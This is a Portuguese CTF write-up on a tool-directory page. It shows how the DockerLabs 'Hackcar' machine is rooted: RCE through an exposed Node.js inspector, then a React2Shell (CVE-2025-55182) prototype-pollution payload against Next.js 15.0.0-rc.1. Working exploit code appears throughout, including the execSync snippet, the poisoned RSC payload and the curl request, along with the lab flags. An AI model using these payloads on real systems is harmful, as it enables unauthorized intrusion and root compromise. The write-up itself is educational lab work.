Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hackcar-writeup — Writeup: Hackcar - DockerLabs (RCE via Node.js Inspector + CVE-2025-55182 React2Shell) | Kitploit
Ferramentas/GitHubGitHub/iapetus12/hackcar-writeup
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoCTFTestes de PenetraçãoAprendizado e EducaçãoRed TeamingLabs e PráticaArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

Writeup: Hackcar - DockerLabs (RCE via Node.js Inspector + CVE-2025-55182 React2Shell)

há 13h 16mAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Hackcar - Writeup

Plataforma: DockerLabs Dificuldade: Média (mais ou menos, tem seu tempero) Objetivo: De webuser a root quebrando um Next.js


A largada: reconhecimento

Como sempre, primeiro o primeiro: ver o que temos pela frente.

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

Espera... 9229? Essa porta não é normal. E um scan completo confirma que só há duas portas:

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

A 9229 é a típica porta do . Se está exposta sem proteção, é basicamente uma porta aberta para execução de código. Vamos verificar.

Node.js inspector (debugger)
root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

Bingo. O debugger do Node está exposto, sem autenticação, e ainda nos diz onde vive a app. Isso é RCE direto.


Fase 1: RCE via Node.js Inspector

Com o debugger exposto só precisamos nos conectar ao WebSocket e usar Runtime.evaluate para executar o que quisermos dentro do processo do Node.

Fiz um script rápido em Python que pega a URL do debugger e executa comandos com process.mainModule.require('child_process').execSync():

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

Para não brigar com aspas, mando todo o comando em base64 e decodifico dentro do próprio processo. Primeiro teste:

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

RCE como webuser. A máquina está na mão... ou assim eu pensava. Acontece que o bom estava mais escondido.

Vamos olhar os processos para ver o que mais roda na máquina:

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

Olha o detalhe! Tem um Next.js versão 15.0.0-rc.1 rodando como ROOT na porta 3000 (só localhost). Isso cheira a privilégio... e a CVE.

Como só escuta em 127.0.0.1 dentro do container, não podemos tocá-la de fora. Mas temos RCE, então podemos entrar por dentro. Primeiro vejamos o que é:

root@kitploit:~
curl -s http://127.0.0.1:3000/

Aparece um "Internal Administration Portal" — um portal interno de administração. Tudo muito apetitoso.

A flag de user encontramos rápido:

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

E agora é escalar para root através desse Next.js.


Fase 2: React2Shell (CVE-2025-55182)

A versão é Next.js 15.0.0-rc.1, que usa React 19 vulnerável ao famoso React2Shell (CVE-2025-55182): um RCE crítico (CVSS 10.0) por prototype pollution no parser RSC (React Server Components / Flight protocol).

O exploit é um multipart/form-data malformado com o header Next-Action, que faz o parser do React desserializar um objeto envenenado que acaba chamando o construtor Function com nosso código:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<CÓDIGO JS A EXECUTAR>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

Ou seja: envenena-se Chunk.prototype.then, o parser carrega nosso modelo, e ao resolver a promise executa nosso JavaScript no processo do Next.js, que roda como root.

Para extrair o output usei o modo "redirect": o código executa o comando, faz base64 do resultado e o coloca na propriedade digest de um Error, que o Next.js devolve como header:

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

A requisição final:

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

O servidor responde 500 (é normal, é um erro proposital) e no header:

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

Decodificamos:

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

SOMOS ROOT. E a flag:

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

Resumo do ataque

root@kitploit:~
nmap
 └─ 8080 (web Express, estática, pura fumaça)
 └─ 9229 (Node.js inspector EXPOSTO)
      └─ RCE como webuser via Runtime.evaluate
           └─ Enumeração: Next.js 15.0.0-rc.1 em 127.0.0.1:3000 como ROOT
                └─ CVE-2025-55182 (React2Shell): RCE root
                     └─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}

Flags:

ArquivoFlag
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

Vulnerabilidades (por que aconteceu)

#VulnerabilidadeCWEO que nos deu
1Node.js inspector sem autenticação (porta 9229)CWE-284RCE como webuser
2Next.js 15.0.0-rc.1 desatualizada (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502RCE como root

Lições:

  • Nunca exponha o debugger do Node em produção (nem mesmo em uma rede "interna").
  • Atualize suas dependências. Esse Next.js está há meses com uma CVE crítica conhecida.
  • Não faça bind de serviços apenas em localhost se o processo já está comprometido: webuser conseguia chegar a localhost:3000.
  • DockerLabs é sempre para aprender, não para se enrolar em ambientes reais ;)

Ferramentas

FerramentaUso
nmapReconhecimento de portas
curlEnumeração web e disparar o exploit
websocket-client (Python)Falar com o inspector do Node
jadxA máquina anterior (não aqui, mas continuo achando bonito)
base64Transportar payloads sem problemas com aspas

Writeup com fins educativos. Só mexa em máquinas onde você tem autorização (DockerLabs, HTB, seu próprio laboratório).

Baixar ferramenta